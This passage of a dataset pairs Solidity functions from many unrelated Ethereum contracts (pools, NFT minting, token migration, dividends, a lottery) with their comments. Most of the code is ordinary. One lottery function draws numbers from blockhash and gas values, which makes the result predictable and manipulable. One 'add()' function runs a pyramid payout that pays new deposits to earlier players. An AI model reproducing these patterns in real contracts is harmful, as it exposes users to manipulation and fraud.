poolData[pool].asset);\r\n _decrementPoolBalances(_units, _outputVether, _outputAsset, pool);\r\n _removeDataForMember(msg.sender, _units, pool);\r\n emit Unstaked(pool, msg.sender, _outputAsset, _outputVether, _units);\r\n ERC20(VETHER).approve(newContract, _outputVether);\r\n if(pool == address(0)){\r\n POOLS(newContract).stakeForMember{value:_outputAsset}(_outputVether, _outputAsset, pool, msg.sender);\r\n } else {\r\n ERC20(pool).approve(newContract, _outputAsset);\r\n POOLS(newContract).stakeForMember(_outputVether, _outputAsset, pool, msg.sender);\r\n }\r\n }", "version": "0.6.4"} {"comment": "//==================================================================================//\n// Swapping functions", "function_code": "function swap(uint inputAmount, address withAsset, address toAsset) public payable returns (uint outputAmount, uint fee) {\r\n require(now < poolData[address(0)].genesis + DAYCAP, \"Must not be after Day Cap\");\r\n require(withAsset != toAsset, \"Asset must not be the same\");\r\n uint _actualAmount = _handleTransferIn(withAsset, inputAmount); uint _transferAmount;\r\n if(withAsset == VETHER){\r\n (outputAmount, fee) = _swapVetherToAsset(_actualAmount, toAsset);\r\n emit Swapped(VETHER, toAsset, _actualAmount, 0, outputAmount, fee, msg.sender);\r\n } else if(toAsset == VETHER) {\r\n (outputAmount, fee) = _swapAssetToVether(_actualAmount, withAsset);\r\n emit Swapped(withAsset, VETHER, _actualAmount, 0, outputAmount, fee, msg.sender);\r\n } else {\r\n (_transferAmount, outputAmount, fee) = _swapAssetToAsset(_actualAmount, withAsset, toAsset);\r\n emit Swapped(withAsset, toAsset, _actualAmount, _transferAmount, outputAmount, fee, msg.sender);\r\n }\r\n _handleTransferOut(toAsset, outputAmount, msg.sender);\r\n return (outputAmount, fee);\r\n }", "version": "0.6.4"} {"comment": "//==================================================================================//\n// Asset Transfer Functions", "function_code": "function _handleTransferIn(address _asset, uint _amount) internal returns(uint actual){\r\n if(_amount > 0) {\r\n if(_asset == address(0)){\r\n require((_amount == msg.value), \"Must get Eth\");\r\n actual = _amount;\r\n } else {\r\n uint startBal = ERC20(_asset).balanceOf(address(this)); \r\n ERC20(_asset).transferFrom(msg.sender, address(this), _amount); \r\n actual = ERC20(_asset).balanceOf(address(this)).sub(startBal);\r\n }\r\n }\r\n }", "version": "0.6.4"} {"comment": "/// @title Dequeus a Play\n/// @notice Removes the oldest play from the queue.\n/// @dev reverts if an attempt is made to deueue when the queue is empty.\n/// Only the owner may call this method.\n/// @return player address fo the player\n/// @return amount the original value of hte player's bet.", "function_code": "function dequeue() public returns (address payable player, uint amount) {\r\n require(msg.sender == owner, 'Access Denied');\r\n require(!isEmpty(),'Queue is empty');\r\n (player,amount) = (queue[first].player,queue[first].amount);\r\n delete queue[first];\r\n first += 1;\r\n if(last < first) {\r\n first = 1;\r\n last = 0;\r\n }\r\n }", "version": "0.5.0"} {"comment": "/// @title Total value of bets from players in queue.\n/// @notice Enumerates the players in the queu and returns the\n/// sum of the value of all the bets associated with the players.\n/// @dev only the owner may call this method.\n/// @return total the total value of the bets for the players contained\n/// within this queue.", "function_code": "function totalAmount() public view returns (uint total)\r\n {\r\n require(msg.sender == owner, 'Access Denied');\r\n total = 0;\r\n for(uint i = first; i <= last; i ++ ) {\r\n total = total + queue[i].amount;\r\n }\r\n }", "version": "0.5.0"} {"comment": "/// @title Ends the Game\n/// @notice Ends the game, returning any unresolved plays to their\n/// originating addresses, if possible. If transfers fail, a\n/// `RefundFailure` event will be raised and it will be up to the\n/// owner of the contract to manually resolve any issues.\n/// @dev Only the owner of the contract may call this method.", "function_code": "function end() external\r\n {\r\n require(owner == msg.sender, 'Access Denied');\r\n require(open, 'Game is already finished.');\r\n open = false;\r\n openingMove = Move.None;\r\n while(!openingMovers.isEmpty())\r\n {\r\n (address payable player, uint bet) = openingMovers.dequeue();\r\n if(!player.send(bet))\r\n {\r\n emit RefundFailure(player,bet);\r\n }\r\n }\r\n emit GameClosed();\r\n }", "version": "0.5.0"} {"comment": "/*!\tTransfer tokens to multipe destination addresses\r\n \t\tReturns list with appropriate (by index) successful statuses.\r\n \t\t(string with 0 or 1 chars)\r\n \t */", "function_code": "function transferMulti(address [] _tos, uint256 [] _values) public onlyMigrationGate returns (string) {\r\n\t\trequire(_tos.length == _values.length);\r\n\t\tbytes memory return_values = new bytes(_tos.length);\r\n\r\n\t\tfor (uint256 i = 0; i < _tos.length; i++) {\r\n\t\t\taddress _to = _tos[i];\r\n\t\t\tuint256 _value = _values[i];\r\n\t\t\treturn_values[i] = byte(48); //'0'\r\n\r\n\t\t\tif (_to != address(0) &&\r\n\t\t\t\t_value <= balances[msg.sender]) {\r\n\r\n\t\t\t\tbool ok = transfer(_to, _value);\r\n\t\t\t\tif (ok) {\r\n\t\t\t\t\treturn_values[i] = byte(49); //'1'\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn string(return_values);\r\n\t}", "version": "0.4.18"} {"comment": "/*!\tMigrate tokens to the new token contract\r\n \t\tThe method can be only called when migration agent is set.\r\n \r\n \t\tCan be called by user(holder) that would like to transfer\r\n \t\tcoins to new contract immediately.\r\n \t */", "function_code": "function migrate() public returns (bool) {\r\n\t\trequire(migrationAgent != 0x0);\r\n\t\tuint256 value = balances[msg.sender];\r\n\t\tbalances[msg.sender] = balances[msg.sender].sub(value);\r\n\t\ttotalSupply_ = totalSupply_.sub(value);\r\n\t\tMigrationAgent(migrationAgent).migrateFrom(msg.sender, value);\r\n\t\t// Notify anyone listening that this migration took place\r\n\t\tMigrate(msg.sender, value);\r\n\t\treturn true;\r\n\t}", "version": "0.4.18"} {"comment": "/*!\tMigrate holders of tokens to the new contract\r\n \t\tThe method can be only called when migration agent is set.\r\n \r\n \t\tCan be called only by owner (onlyOwner)\r\n \t */", "function_code": "function migrateHolders(uint256 count) public onlyOwner returns (bool) {\r\n\t\trequire(count > 0);\r\n\t\trequire(migrationAgent != 0x0);\r\n\t\t// Calculate bounds for processing\r\n\t\tcount = migrationCountComplete.add(count);\r\n\t\tif (count > holders.length) {\r\n\t\t\tcount = holders.length;\r\n\t\t}\r\n\t\t// Process migration\r\n\t\tfor (uint256 i = migrationCountComplete; i < count; i++) {\r\n\t\t\taddress holder = holders[i];\r\n\t\t\tuint value = balances[holder];\r\n\t\t\tbalances[holder] = balances[holder].sub(value);\r\n\t\t\ttotalSupply_ = totalSupply_.sub(value);\r\n\t\t\tMigrationAgent(migrationAgent).migrateFrom(holder, value);\r\n\t\t\t// Notify anyone listening that this migration took place\r\n\t\t\tMigrate(holder, value);\r\n\t\t}\r\n\t\tmigrationCountComplete = count;\r\n\t\treturn true;\r\n\t}", "version": "0.4.18"} {"comment": "/*\r\n * @notify Modify escrowPaused\r\n * @param parameter Must be \"escrowPaused\"\r\n * @param data The new value for escrowPaused\r\n */", "function_code": "function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {\r\n if (parameter == \"minStakedTokensToKeep\") {\r\n require(data <= maxStakedTokensToKeep, \"MinimalLenderFirstResortOverlay/minStakedTokensToKeep-over-limit\");\r\n staking.modifyParameters(parameter, data);\r\n } else if (\r\n parameter == \"escrowPaused\" ||\r\n parameter == \"bypassAuctions\" ||\r\n parameter == \"tokensToAuction\" ||\r\n parameter == \"systemCoinsToRequest\"\r\n ) staking.modifyParameters(parameter, data);\r\n else revert(\"MinimalLenderFirstResortOverlay/modify-forbidden-param\");\r\n }", "version": "0.6.7"} {"comment": "/*\n * The mint function\n */", "function_code": "function summonEggZFromSpace(uint256 num, uint256 price) internal {\n uint256 supply = totalSupply();\n require( canMint, \"Sale paused\" );\n require( supply + num <= 10000 - _reserved, \"No EggZ left :'(\" );\n require( msg.value >= price * num, \"Not enough ether sent\" );\n require( earlySupportersGiveawayDone, \"You can't summon EggZ till early supporters and team haven't had their EggZ\");\n\n for(uint256 i; i < num; i++){\n _safeMint( msg.sender, supply + i );\n }\n }", "version": "0.8.6"} {"comment": "/*\n * Used to airdrop 1 egg to each _addrs\n * I'm not using airdropToWallet in this function to avoid\n * calling require _addrs.length amounts of time\n *\n */", "function_code": "function airdropOneEggToWallets(address[] memory _addrs) external onlyOwner() {\n uint256 supply = totalSupply();\n uint256 amount = _addrs.length;\n require( earlySupportersGiveawayDone, \"You can't summon EggZ till early supporters and team haven't had their EggZ\");\n require( supply + amount <= _reserved, \"Not enough reserved EggZ\");\n\n\n for(uint256 i; i < amount; i++) {\n _safeMint( _addrs[i], supply + i);\n }\n\n _reserved -= amount;\n }", "version": "0.8.6"} {"comment": "/*\n * Used to airdrop amount egg to addr\n *\n */", "function_code": "function airdropToWallet(address addr, uint256 amount) external onlyOwner() {\n uint256 supply = totalSupply();\n require( earlySupportersGiveawayDone, \"You can't summon EggZ till early supporters and team haven't had their EggZ\");\n require( supply + amount <= _reserved, \"Not enough reserved EggZ\");\n\n for(uint256 i; i < amount; i++) {\n _safeMint( addr, supply + i);\n }\n \n _reserved -= amount;\n }", "version": "0.8.6"} {"comment": "/*\n * Used to airdrop the 50 EggZ with early supporter custom trait\n * Can only be called once\n */", "function_code": "function earlySupportersGiveaway(address[] memory _addrs) external onlyOwner() {\n uint256 supply = totalSupply();\n require( !earlySupportersGiveawayDone, \"Early supporters giveaway has already been done !\");\n require( _addrs.length == 50, \"There should be 50 adresses to run the early supporters giveaway\");\n \n for(uint256 i; i < _addrs.length; i++) {\n _safeMint( _addrs[i], supply + i );\n }\n \n earlySupportersGiveawayDone = true;\n _reserved -= 50;\n \n }", "version": "0.8.6"} {"comment": "/*************************************************\n *\n * UTILITY PART\n *\n * ***********************************************/", "function_code": "function listEggZOfOwner(address _owner) public view returns(uint256[] memory) {\n uint256 tokenCount = balanceOf(_owner);\n\n uint256[] memory tokensId = new uint256[](tokenCount);\n for(uint256 i; i < tokenCount; i++){\n tokensId[i] = tokenOfOwnerByIndex(_owner, i);\n }\n return tokensId;\n }", "version": "0.8.6"} {"comment": "/// For creating Waifus", "function_code": "function _createWaifu(string _name, address _owner, uint256 _price) private {\r\n Waifu memory _waifu = Waifu({\r\n name: _name\r\n });\r\n uint256 newWaifuId = waifus.push(_waifu) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // let's just be 100% sure we never let this happen.\r\n require(newWaifuId == uint256(uint32(newWaifuId)));\r\n\r\n Birth(newWaifuId, _name, _owner);\r\n\r\n waifuIndexToPrice[newWaifuId] = _price;\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transfer(address(0), _owner, newWaifuId);\r\n }", "version": "0.4.18"} {"comment": "// add externalRandomNumber to prevent node validators exploiting", "function_code": "function drawing(uint256 _externalRandomNumber) external onlyAdmin {\r\n require(!drawed(), \"reset?\");\t\r\n require(drawingPhase, \"enter drawing phase first\");\r\n bytes32 _structHash;\r\n uint256 _randomNumber;\r\n uint8 _maxNumber = maxNumber;\r\n bytes32 _blockhash = blockhash(block.number-1);\r\n\r\n // waste some gas fee here\r\n for (uint i = 0; i < 5; i++) {\r\n getTotalRewards(issueIndex);\r\n }\r\n uint256 gasremaining = gasleft();\r\n \r\n // 1\r\n _structHash = keccak256(\r\n abi.encode(\r\n _blockhash,\r\n totalAddresses,\r\n gasremaining,\r\n _externalRandomNumber\r\n )\r\n );\r\n _randomNumber = uint256(_structHash);\r\n assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)}\r\n winningNumbers[0]=uint8(_randomNumber);\r\n\r\n // 2\r\n _structHash = keccak256(\r\n abi.encode(\r\n _blockhash,\r\n totalAmount,\r\n gasremaining,\r\n _externalRandomNumber\r\n )\r\n );\r\n _randomNumber = uint256(_structHash);\r\n assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)}\r\n winningNumbers[1]=uint8(_randomNumber);\r\n\r\n // 3\r\n _structHash = keccak256(\r\n abi.encode(\r\n _blockhash,\r\n lastTimestamp,\r\n gasremaining,\r\n _externalRandomNumber\r\n )\r\n );\r\n _randomNumber = uint256(_structHash);\r\n assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)}\r\n winningNumbers[2]=uint8(_randomNumber);\r\n\r\n // 4\r\n _structHash = keccak256(\r\n abi.encode(\r\n _blockhash,\r\n gasremaining,\r\n _externalRandomNumber\r\n )\r\n );\r\n _randomNumber = uint256(_structHash);\r\n assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)}\r\n winningNumbers[3]=uint8(_randomNumber);\r\n historyNumbers[issueIndex] = winningNumbers;\r\n historyAmount[issueIndex] = calculateMatchingRewardAmount();\r\n drawingPhase = false;\r\n emit Drawing(issueIndex, winningNumbers);\r\n }", "version": "0.6.12"} {"comment": "// Set the allocation for one reward", "function_code": "function setAllocation(uint8 _allcation1, uint8 _allcation2, uint8 _allcation3, uint8 _allcation4) external onlyAdmin {\r\n require (_allcation1 + _allcation2 + _allcation3 + _allcation4 < 95, 'exceed 95');\r\n allocation = [_allcation1, _allcation2, _allcation3, _allcation4];\r\n }", "version": "0.6.12"} {"comment": "// Only method of the contract", "function_code": "function add() public payable{\r\n if (msg.value == 500 finney) { // To participate you must pay 500 finney (0.5 ETH)\r\n players[num_players] = msg.sender; //save address of player\r\n \r\n num_players++; // One player is added, so we increase the player counter\r\n \r\n // Transfer the just now added 0.5 ETH to player position num_players divided by 2.\r\n // This payout is done 2 times for one player, because odd and even number divided by 2 is the same integer. = 1 ETH return\r\n players[num_players/2].transfer(address(this).balance);\r\n }\r\n else\r\n revert(); // Error executing the function\r\n }", "version": "0.6.6"} {"comment": "// finalization function called by the finalize function that will distribute\n// the remaining tokens", "function_code": "function finalization() internal {\r\n uint256 tokensSold = token.totalSupply();\r\n uint256 finalTotalSupply = cap.mul(rate).mul(4);\r\n\r\n // send the 10% of the final total supply to the founders\r\n uint256 foundersTokens = finalTotalSupply.div(10);\r\n token.mint(foundersAddress, foundersTokens);\r\n\r\n // send the 65% plus the unsold tokens in ICO to the foundation\r\n uint256 foundationTokens = finalTotalSupply.sub(tokensSold)\r\n .sub(foundersTokens);\r\n token.mint(foundationAddress, foundationTokens);\r\n\r\n super.finalization();\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Token Burn.\r\n */", "function_code": "function burn(uint256 _value) public onlyOwner returns (bool success) {\r\n require(_value <= balances[msg.sender]);\r\n address burner = msg.sender;\r\n balances[burner] = balances[burner].sub(_value);\r\n totalSupply_ = totalSupply_.sub(_value);\r\n emit Burn(burner, _value);\r\n emit Transfer(burner, address(0), _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// @dev mint a single token to each address passed in through calldata\n// @param _addresses Array of addresses to send a single token to", "function_code": "function mintReserveToAddresses(address[] calldata _addresses) external onlyOwner {\r\n uint256 _quantity = _addresses.length;\r\n require(_quantity + _owners.length <= GENESIS_ODDIES_MAX_SUPPLY,\"Purchase exceeds available supply.\");\r\n for (uint256 i = 0; i < _quantity; i++) {\r\n _safeMint(_addresses[i]);\r\n }\r\n }", "version": "0.8.10"} {"comment": "/**\r\n * @notice deposit backing tokens to be locked, and generate wrapped tokens to recipient\r\n * @param recipient address to receive wrapped tokens\r\n * @param amount amount of tokens to wrap\r\n * @return true if successful\r\n */", "function_code": "function wrapTo(address recipient, uint256 amount) public returns(bool) {\r\n require(recipient != address(0), \"Recipient cannot be zero address\");\r\n\r\n // transfer backing token from sender to this contract to be locked\r\n _backingToken.transferFrom(msg.sender, address(this), amount);\r\n\r\n // update how many tokens the sender has locked in total\r\n _lockedBalances[msg.sender] = _lockedBalances[msg.sender].add(amount);\r\n\r\n // mint wTokens to recipient\r\n _mint(recipient, amount);\r\n\r\n emit Mint(recipient, amount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice burn wrapped tokens to unlock backing tokens to recipient\r\n * @param recipient address to receive backing tokens\r\n * @param amount amount of tokens to unlock\r\n * @return true if successful\r\n */", "function_code": "function unwrapTo(address recipient, uint256 amount) public returns (bool) {\r\n require(recipient != address(0), \"Recipient cannot be zero address\");\r\n\r\n // burn wTokens from sender, burn should revert if not enough balance\r\n _burn(msg.sender, amount);\r\n\r\n // update how many tokens the sender has locked in total\r\n _lockedBalances[msg.sender] = _lockedBalances[msg.sender].sub(amount, \"Cannot unlock more than the locked amount\");\r\n\r\n // transfer backing token from this contract to recipient\r\n _backingToken.transfer(recipient, amount);\r\n\r\n emit Burn(msg.sender, amount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice withdraw all accrued dividends by the sender to the recipient\r\n * @param recipient address to receive dividends\r\n * @return true if successful\r\n */", "function_code": "function claimAllDividendsTo(address recipient) public returns (bool) {\r\n require(recipient != address(0), \"Recipient cannot be zero address\");\r\n\r\n consolidateDividends(msg.sender);\r\n\r\n uint256 dividends = _dividends[msg.sender].consolidatedAmount;\r\n\r\n _dividends[msg.sender].consolidatedAmount = 0;\r\n\r\n _dai.transfer(recipient, dividends);\r\n\r\n emit DividendClaimed(msg.sender, dividends);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice withdraw portion of dividends by the sender to the recipient\r\n * @param recipient address to receive dividends\r\n * @param amount amount of dividends to withdraw\r\n * @return true if successful\r\n */", "function_code": "function claimDividendsTo(address recipient, uint256 amount) public returns (bool) {\r\n require(recipient != address(0), \"Recipient cannot be zero address\");\r\n\r\n consolidateDividends(msg.sender);\r\n\r\n uint256 dividends = _dividends[msg.sender].consolidatedAmount;\r\n require(amount <= dividends, \"Insufficient dividend balance\");\r\n\r\n _dividends[msg.sender].consolidatedAmount = dividends.sub(amount);\r\n\r\n _dai.transfer(recipient, amount);\r\n\r\n emit DividendClaimed(msg.sender, amount);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice view total accrued dividends of a given account\r\n * @param account address of the account to query for\r\n * @return total accrued dividends\r\n */", "function_code": "function dividendsAvailable(address account) external view returns (uint256) {\r\n uint256 balance = balanceOf(account);\r\n\r\n // short circut if balance is 0 to avoid potentially looping from 0 dividend index\r\n if (balance == 0) {\r\n return _dividends[account].consolidatedAmount;\r\n }\r\n\r\n (uint256 dividends,) = _dividendOracle.calculateAccruedDividends(\r\n balance,\r\n _dividends[account].timestamp,\r\n _dividends[account].index\r\n );\r\n\r\n return _dividends[account].consolidatedAmount.add(dividends);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice calculate all dividends accrued since the last consolidation, and add to the consolidated amount\r\n * @dev anybody can consolidation dividends for any account\r\n * @param account account to perform dividend consolidation on\r\n * @return true if success\r\n */", "function_code": "function consolidateDividends(address account) public returns (bool) {\r\n uint256 balance = balanceOf(account);\r\n\r\n // balance is at 0, re-initialize dividend state\r\n if (balance == 0) {\r\n initializeDividendState(account);\r\n return true;\r\n }\r\n\r\n (uint256 dividends, uint256 newIndex) = _dividendOracle.calculateAccruedDividends(\r\n balance,\r\n _dividends[account].timestamp,\r\n _dividends[account].index\r\n );\r\n\r\n _dividends[account].consolidatedAmount = _dividends[account].consolidatedAmount.add(dividends);\r\n _dividends[account].timestamp = block.timestamp;\r\n _dividends[account].index = newIndex;\r\n\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice perform dividend consolidation to the given dividend index\r\n * @dev this function can be used if consolidateDividends fails due to running out of gas in an unbounded loop.\r\n * In such case, dividend consolidation can be broken into several transactions.\r\n * However, dividend rates do not change frequently,\r\n * this function should not be needed unless account stays dormant for a long time, e.g. a decade.\r\n * @param account account to perform dividend consolidation on\r\n * @param toDividendIndex dividend index to stop consolidation at, inclusive\r\n * @return true if success\r\n */", "function_code": "function consolidateDividendsToIndex(address account, uint256 toDividendIndex) external returns (bool) {\r\n uint256 balance = balanceOf(account);\r\n\r\n // balance is at 0, re-initialize dividend state\r\n if (balance == 0) {\r\n initializeDividendState(account);\r\n return true;\r\n }\r\n\r\n (uint256 dividends, uint256 newIndex, uint256 newTimestamp) = _dividendOracle.calculateAccruedDividendsBounded(\r\n balance,\r\n _dividends[account].timestamp,\r\n _dividends[account].index,\r\n toDividendIndex\r\n );\r\n\r\n _dividends[account].consolidatedAmount = _dividends[account].consolidatedAmount.add(dividends);\r\n _dividends[account].timestamp = newTimestamp;\r\n _dividends[account].index = newIndex;\r\n\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "/// @dev Withdraw token from treasury and buy ald token.\n/// @param token The address of token to withdraw.\n/// @param amount The amount of token to withdraw.\n/// @param router The address of router to use, usually uniswap or sushiswap.\n/// @param toUSDC The path from token to USDC.\n/// @param toWETH The path from token to WETH.\n/// @param minALDAmount The minimum amount of ALD should buy.", "function_code": "function withdrawAndSwapToALD(\r\n address token,\r\n uint256 amount,\r\n address router,\r\n address[] calldata toUSDC,\r\n address[] calldata toWETH,\r\n uint256 minALDAmount\r\n ) external onlyWhitelist {\r\n require(token != ald, \"POLExecutor: token should not be ald\");\r\n\r\n ITreasury(treasury).withdraw(token, amount);\r\n uint256 aldAmount;\r\n\r\n // swap to usdc and then to ald\r\n uint256 usdcAmount;\r\n if (token == usdc) {\r\n usdcAmount = amount / 2;\r\n } else {\r\n require(toUSDC[toUSDC.length - 1] == usdc, \"POLExecutor: invalid toUSDC path\");\r\n usdcAmount = _swapTo(token, amount / 2, router, toUSDC);\r\n }\r\n amount = amount - amount / 2;\r\n if (usdcAmount > 0) {\r\n aldAmount = aldAmount.add(_swapToALD(aldusdc, usdc, usdcAmount));\r\n }\r\n // swap to weth and then to ald\r\n uint256 wethAmount;\r\n if (token == weth) {\r\n wethAmount = amount;\r\n } else {\r\n require(toWETH[toWETH.length - 1] == weth, \"POLExecutor: invalid toUSDC path\");\r\n wethAmount = _swapTo(token, amount, router, toWETH);\r\n }\r\n if (wethAmount > 0) {\r\n aldAmount = aldAmount.add(_swapToALD(aldweth, weth, wethAmount));\r\n }\r\n\r\n require(aldAmount >= minALDAmount, \"POLExecutor: not enough ald amount\");\r\n }", "version": "0.7.6"} {"comment": "/// @dev Withdraw ALD from treasury, swap and add liquidity.\n/// @param amount The amount of ald token to withdraw.\n/// @param minALDUSDCLP The minimum amount of ALD USDC LP should get.\n/// @param minALDWETHLP The minimum amount of ALD USDC LP should get.", "function_code": "function withdrawALDAndSwapToLP(\r\n uint256 amount,\r\n uint256 minALDUSDCLP,\r\n uint256 minALDWETHLP\r\n ) external onlyWhitelist {\r\n require(whitelist[msg.sender], \"POLExecutor: only whitelist\");\r\n ITreasury(treasury).manage(ald, amount);\r\n\r\n uint256 aldusdcAmount = _swapToLP(aldusdc, ald, amount / 2);\r\n require(aldusdcAmount >= minALDUSDCLP, \"POLExecutor: not enough ALDUSDC LP\");\r\n\r\n uint256 aldwethAmount = _swapToLP(aldweth, ald, amount - amount / 2);\r\n require(aldwethAmount >= minALDWETHLP, \"POLExecutor: not enough ALDWETH LP\");\r\n }", "version": "0.7.6"} {"comment": "/// @dev Withdraw ALD and token from treasury, and then add liquidity.\n/// @param aldAmount The amount of ald token to withdraw.\n/// @param token The address of other token, should be usdc or weth.\n/// @param minLPAmount The minimum lp amount should get.", "function_code": "function withdrawAndAddLiquidity(\r\n uint256 aldAmount,\r\n address token,\r\n uint256 minLPAmount\r\n ) external onlyWhitelist {\r\n address pair;\r\n uint256 reserve0;\r\n uint256 reserve1;\r\n if (token == usdc) {\r\n (reserve0, reserve1, ) = IUniswapV2Pair(aldusdc).getReserves();\r\n pair = aldusdc;\r\n } else if (token == weth) {\r\n (reserve0, reserve1, ) = IUniswapV2Pair(aldweth).getReserves();\r\n pair = aldweth;\r\n } else {\r\n revert(\"POLExecutor: token not supported\");\r\n }\r\n if (ald > token) {\r\n (reserve0, reserve1) = (reserve1, reserve0);\r\n }\r\n uint256 tokenAmount = aldAmount.mul(reserve1).div(reserve0);\r\n\r\n ITreasury(treasury).manage(ald, aldAmount);\r\n ITreasury(treasury).withdraw(token, tokenAmount);\r\n IERC20(ald).safeTransfer(pair, aldAmount);\r\n IERC20(token).safeTransfer(pair, tokenAmount);\r\n\r\n uint256 lpAmount = IUniswapV2Pair(pair).mint(treasury);\r\n require(lpAmount >= minLPAmount, \"POLExecutor: not enough lp\");\r\n }", "version": "0.7.6"} {"comment": "// TODO; newly added\n// @param _tokenAddress - objectOwnership\n// @param _objectContract - xxxBase contract", "function_code": "function encodeTokenIdForOuterObjectContract(\r\n address _objectContract, address _nftAddress, address _originNftAddress, uint128 _objectId, uint16 _producerId, uint8 _convertType) public view returns (uint256) {\r\n require (classAddress2Id[_objectContract] > 0, \"Object class for this object contract does not exist.\");\r\n\r\n return encodeTokenIdForOuter(_nftAddress, _originNftAddress, classAddress2Id[_objectContract], _objectId, _producerId, _convertType);\r\n\r\n }", "version": "0.4.24"} {"comment": "// TODO; newly added", "function_code": "function encodeTokenIdForObjectContract(\r\n address _tokenAddress, address _objectContract, uint128 _objectId) public view returns (uint256 _tokenId) {\r\n require (classAddress2Id[_objectContract] > 0, \"Object class for this object contract does not exist.\");\r\n\r\n _tokenId = encodeTokenId(_tokenAddress, classAddress2Id[_objectContract], _objectId);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Encode character details as JSON attributes\n */", "function_code": "function assembleBaseAttributes (uint16[15] memory attributes) internal view returns (string memory, bytes memory) {\n bytes memory result = \"\";\n for (uint i = 0; i < 13; i++) {\n result = abi.encodePacked(result, encodeStringAttribute(Starkade.Attributes(i), Starkade.traitName(attributes[i])), \",\");\n }\n\n (string memory regionName, string memory cityName, string memory characteristic) = Starkade.cityInfo(attributes[14]);\n\n return (regionName,\n abi.encodePacked(result, encodeStringAttribute(Starkade.Attributes(13), regionName), \",\"));\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Generate metadata description string\n */", "function_code": "function description (string memory region) internal pure returns (bytes memory) {\n return abi.encodePacked(\"A legend is born. This fighter from \",region,\" is one of a set of unique characters from the STARKADE universe, inspired by the retro '80s artwork of Signalnoise.\");\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Assemble the imageURI for the given attributes\n */", "function_code": "function imageURI (uint16[15] memory attributes) internal view returns (bytes memory) {\n bytes memory uri = bytes(BASE_IMAGE_URI);\n for (uint i = 1; i < 12; i++) {\n uri = abi.encodePacked(uri, MoonCatSVGS.uint2str(attributes[i]), \"-\");\n }\n return abi.encodePacked(uri, MoonCatSVGS.uint2str(attributes[12]), \".png\");\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Generate full BASE64-encoded JSON metadata for a STARKADE legion character. Use static IPFS image if available.\n */", "function_code": "function legionMetadata (uint256 tokenId) public view returns (string memory) {\n (uint16[15] memory attributes, uint8[5] memory boosts) = Starkade.getTraitIndexes(tokenId);\n string memory tokenIdString = MoonCatSVGS.uint2str(tokenId);\n (string memory regionName, bytes memory baseAttributes) = assembleBaseAttributes(attributes);\n bytes memory boostAttributes = assembleBoosts(boosts);\n bytes memory img;\n if (bytes(IPFS_Image_Cache_CID).length == 0) {\n img = imageURI(attributes);\n } else {\n img = abi.encodePacked(\"ipfs://\", IPFS_Image_Cache_CID, \"/\", tokenIdString, \".png\");\n }\n bytes memory json = abi.encodePacked(\"{\\\"attributes\\\":[\",\n encodeStringAttribute(\"Arena\", \"Legion\"), \",\",\n baseAttributes,\n boostAttributes,\n \"], \\\"name\\\":\\\"Fighter #\",tokenIdString,\"\\\", \\\"description\\\":\\\"\",description(regionName),\"\\\",\\\"image\\\":\\\"\",\n img,\n \"\\\",\\\"external_url\\\": \\\"https://starkade.com/legion/\",tokenIdString,\"\\\"}\");\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(json)));\n }", "version": "0.8.9"} {"comment": "// Simple for now because params are not optional", "function_code": "function updateProfile(\r\n string name,\r\n string imgurl,\r\n string email,\r\n string aboutMe\r\n ) public\r\n {\r\n address _address = msg.sender;\r\n Profile storage p = addressToProfile[_address];\r\n p.name = name;\r\n p.imgurl = imgurl;\r\n p.email = email;\r\n p.aboutMe = aboutMe;\r\n }", "version": "0.4.20"} {"comment": "// Creates `_amount` token to `_to`. Can only be called for 200,000 pre-mint by owner. Function is disabled after one single use.", "function_code": "function premint(address _to, uint256 _amount) public onlyOwner {\r\n require(maxSupplyHit != true, \"max supply hit\");\r\n require(premintingEnd != true, \"200,000 have already been pre-minted, and owner has disabled this function!\");\r\n require(_amount == 200000000000000000000000);\r\n\r\n if (_amount > 0) {\r\n _mint(_to, _amount);\r\n }\r\n\r\n premintingEnd = true;\r\n }", "version": "0.6.2"} {"comment": "// There's a fee on every BOOMB transfer that gets burned.", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal override {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n uint256 transferFeeAmount;\r\n uint256 tokensToTransfer;\r\n\r\n transferFeeAmount = amount.mul(transferFee).div(1000);\r\n tokensToTransfer = amount.sub(transferFeeAmount);\r\n\r\n if (tokensToTransfer > 0) {\r\n _balances[sender] = _balances[sender].sub(tokensToTransfer, \"ERC20: transfer amount exceeds balance\");\r\n _balances[recipient] = _balances[recipient].add(tokensToTransfer);\r\n _burn(sender, transferFeeAmount);\r\n totalBurned = totalBurned.add(transferFeeAmount);\r\n\r\n }\r\n\r\n emit Transfer(sender, recipient, tokensToTransfer);\r\n }", "version": "0.6.2"} {"comment": "/* --- PUBLIC/EXTERNAL FUNCTIONS --- */", "function_code": "function deposit(address token, uint256 value) public {\r\n require(supported[token], \"Token is not supported\");\r\n require(!disabled[token], \"Token is disabled for deposit\");\r\n require(IERC20(token).transferFrom(msg.sender, this, value), \"Failed to transfer token from user for deposit\");\r\n _mint(msg.sender, value);\r\n emit Deposit(token, msg.sender, value);\r\n }", "version": "0.4.25"} {"comment": "// count tokens from all pre/sale contracts", "function_code": "function _allTokens(address user) internal view returns (uint256) {\n // presale2 need manual handle because of \"multiple ETH 